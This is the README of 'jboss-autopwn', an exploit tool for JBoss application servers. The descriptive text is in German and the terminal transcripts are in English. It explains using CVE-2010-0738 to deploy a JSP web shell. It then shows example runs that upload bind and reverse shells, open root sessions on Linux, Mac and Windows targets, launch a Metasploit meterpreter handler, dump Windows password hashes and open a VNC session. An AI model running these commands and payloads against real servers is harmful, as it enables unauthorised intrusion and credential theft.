jboss-autopwn

JBoss Autopwn, wie auf der BlackHat Europe 2010 vorgestellt – diese Version enthält CVE-2010-0738, die von Minded Security entdeckte Schwachstelle zur Umgehung der JBoss-Authentifizierung durch VERB-Manipulation.

C. Papathanasiou 2010

EINFÜHRUNG

Dieses JBoss-Skript stellt eine JSP-Shell auf dem Ziel-JBoss-AS-Server bereit. Nach der Bereitstellung nutzt das Skript seine Upload- und Befehlsausführungsfunktionen, um eine interaktive Sitzung bereitzustellen.

Zu den Funktionen gehören:

Multiplattform-Unterstützung – getestet auf Windows-, Linux- und Mac-Zielen
Unterstützung für Bind- und Reverse-Bind-Shells
Meterpreter-Shells und VNC-Unterstützung für Windows-Ziele

INSTALLATION

Zu den Abhängigkeiten gehören:

Netcat
Curl
Metasploit v3, installiert im aktuellen Pfad als „framework3"

VERWENDUNG

Verwenden Sie e.sh für *nix-Ziele, die bind_tcp und reverse_tcp verwenden

./e.sh target_ip tcp_port

Verwenden Sie e2.sh für Windows-Ziele, die Metasploit-Windows-Payloads ausführen können

/e2.sh target_ip tcp_port

BEISPIELE

Linux-Bind-Shell:

[root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null
[x] Retrieving cookie
[x] Now creating BSH script...
[x] .war file created successfully in /tmp
[x] Now deploying .war file:
http://192.168.1.2:8080/browser/browser/browser.jsp
[x] Running as user...:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[x] Server uname...:
 Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
[!] Would you like to upload a reverse or a bind shell? bind
[!] On which port would you like the bindshell to listen on? 31337
[x] Uploading bind shell payload..
[x] Verifying if upload was successful...
-rwxrwxrwx 1 root root 172 2009-11-22 19:48 /tmp/payload
[x] You should have a bind shell on 192.168.1.2:31337..
[x] Dropping you into a shell...
Connection to 192.168.1.2 31337 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
python -c 'import pty; pty.spawn("/bin/bash")'
[root@nitrogen /]# full interactive shell :-)

Linux reverse shell:

[root@nitrogen jboss]# nc -lv 31337 &
[1] 15536
[root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null
[x] Retrieving cookie
[x] Now creating BSH script...
[x] .war file created successfully in /tmp
[x] Now deploying .war file:
http://192.168.1.2:8080/browser/browser/browser.jsp
[x] Running as user...:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[x] Server uname...:
 Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
[!] Would you like to upload a reverse or a bind shell? reverse
[!] On which port would you like to accept the reverse shell on? 31337
[x] Uploading reverse shell payload..
[x] Verifying if upload was successful...
-rwxrwxrwx 1 root root 157 2009-11-22 19:49 /tmp/payload
Connection from 192.168.1.2 port 31337 [tcp/*] accepted
[x] You should have a reverse shell on localhost:31337..
[root@nitrogen jboss]# jobs
[1]+  Running                 nc -lv 31337 &
[root@nitrogen jboss]# fg 1
nc -lv 31337
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
python -c 'import pty; pty.spawn("/bin/bash")';
[root@nitrogen /]# full interactive tty :-)
full interactive tty :-)

Against MacOS X (bind shell):

[root@nitrogen jboss]# ./e.sh 192.168.1.5 8080 2>/dev/null 
[x] Retrieving cookie
[x] Now creating BSH script...
[x] .war file created successfully in /tmp
[x] Now deploying .war file:
http://192.168.1.5:8080/browser/browser/browser.jsp
[x] Running as user...:
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2)
[x] Server uname...:
 Darwin helium-2.tiscali.co.uk 9.7.1 Darwin Kernel Version 9.7.1: Thu Apr 23 13:52:18 PDT 2009; root:xnu-1228.14.1~1/RELEASE_I386 i386 
[!] Would you like to upload a reverse or a bind shell? bind
[!] On which port would you like the bindshell to listen on? 31337
[x] Uploading bind shell payload..
[x] Verifying if upload was successful...
-rwxrwxrwx 1 root wheel 172 22 Nov 19:58 /tmp/payload
[x] You should have a bind shell on 192.168.1.5:31337..
[x] Dropping you into a shell...
Connection to 192.168.1.5 31337 port [tcp/*] succeeded!
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2)
python -c 'import pty; pty.spawn("/bin/bash")'
bash-3.2# id
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2)
bash-3.2# 

Likewise for the reverse shell.

Windows bind shell:

[root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null
[x] Retrieving cookie
[x] Now creating BSH script...
[x] .war file created succesfully on c:
[x] Now deploying .war file:
[x] Web shell enabled!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp
[x] Server name...:
        Host Name . . . . . . . . . . . . : aquarius
[x] Would you like a reverse or bind shell or vnc(bind)? bind
[x] On which port would you like your bindshell to listen? 31337
[x] Uploading bindshell payload..
[x] Checking that bind shell was uploaded correctly..
[x] Bind shell uploaded: 22/11/2009  18:35            87,552 payload.exe
[x] Now executing bind shell...
[x] Executed bindshell!
[x] Reverting to metasploit....
[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.2:60535 -> 192.168.1.225:31337)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\chris\Desktop\jboss-4.2.3.GA\server\default\tmp\deploy\tmp8376972724011216327browserwin-exp.war>


Windows reverse shell with a Metasploit meterpreter payload:

[root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null
[x] Retrieving cookie
[x] Now creating BSH script...
[x] .war file created successfully on c:
[x] Now deploying .war file:
[x] Web shell enabled!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp
[x] Server name...:
        Host Name . . . . . . . . . . . . : aquarius
[x] Would you like a reverse or bind shell or vnc(bind)? reverse
[x] On which port would you like to accept your reverse shell? 31337
[x] Uploading reverseshell payload..
[x] Checking that the reverse shell was uploaded correctly..
[x] Reverse shell uploaded: 22/11/2009  18:46            87,552 payload.exe
[x] You now have 20 seconds to launch metasploit before I send a reverse shell back.. ctrl-z, bg then type:
framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E
[x] Now executing reverse shell...
[x] Executed reverse shell!
[root@nitrogen jboss]#


In terminal 2:

[root@nitrogen jboss]# framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E

[*] Please wait while we load the module tree...
[*] Started reverse handler on port 31337
[*] Starting the payload handler...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.2:31337 -> 192.168.1.225:1266)

meterpreter > use priv
Loading extension priv...success.
meterpreter > hashdump
Administrator:500:xxxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxx:::
chris:1005:xxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1004:5cb061f95caf6a9dc7d1bb971b333632:4ac4ee4210529e17665db586df844736:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:293c804ee7b7f93b3919344842b9c98a:::
__vmware_user__:1007:aad3b435b51404eeaad3b435b51404ee:a9fa3213d080de5533c7572775a149f5:::
meterpreter >


Windows VNC shell:

[root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null
[x] Retrieving cookie
[x] Now creating BSH script...
[x] .war file created successfully on c:
[x] Now deploying .war file:
[x] Web shell enabled!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp
[x] Server name...:
        Host Name . . . . . . . . . . . . : aquarius
[x] Would you like a reverse or bind shell or vnc(bind)? vnc
[x] On which port would you like your  vnc shell to listen? 21
[x] Uploading vnc  shell payload..
[x] Checking that vnc shell was uploaded correctly..
[x] vnc shell uploaded: 22/11/2009  19:14            87,552 payload.exe
[x] Now executing vnc  shell...
[x] Executed  vnc shell!
[x] Reverting to metasploit....
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (197120 bytes)
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vnciewer in the background.
[*] VNC Server session 1 opened (192.168.1.2:52682 -> 192.168.1.225:21)

[*] VNC connection closed.

[root@nitrogen jboss]#

>>VNC window opens here.. :-)

URHEBERRECHT

Dieses Programm ist freie Software; Sie können es unter den Bedingungen der GNU General Public License, wie von der Free Software Foundation veröffentlicht, weitergeben und/oder modifizieren, entweder gemäß Version 2 der Lizenz oder (nach Ihrer Wahl) jeder späteren Version.

Dieses Programm wird in der Hoffnung verbreitet, dass es nützlich sein wird, aber OHNE JEDE GEWÄHRLEISTUNG; ohne die implizite Gewährleistung der MARKTFÄHIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK. Weitere Einzelheiten finden Sie in der GNU General Public License.

Sie sollten eine Kopie der GNU General Public License zusammen mit diesem Programm erhalten haben; wenn nicht, schreiben Sie an die Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

jboss-autopwn

Beliebteste

jboss-autopwn

EINFÜHRUNG

INSTALLATION

VERWENDUNG

BEISPIELE

URHEBERRECHT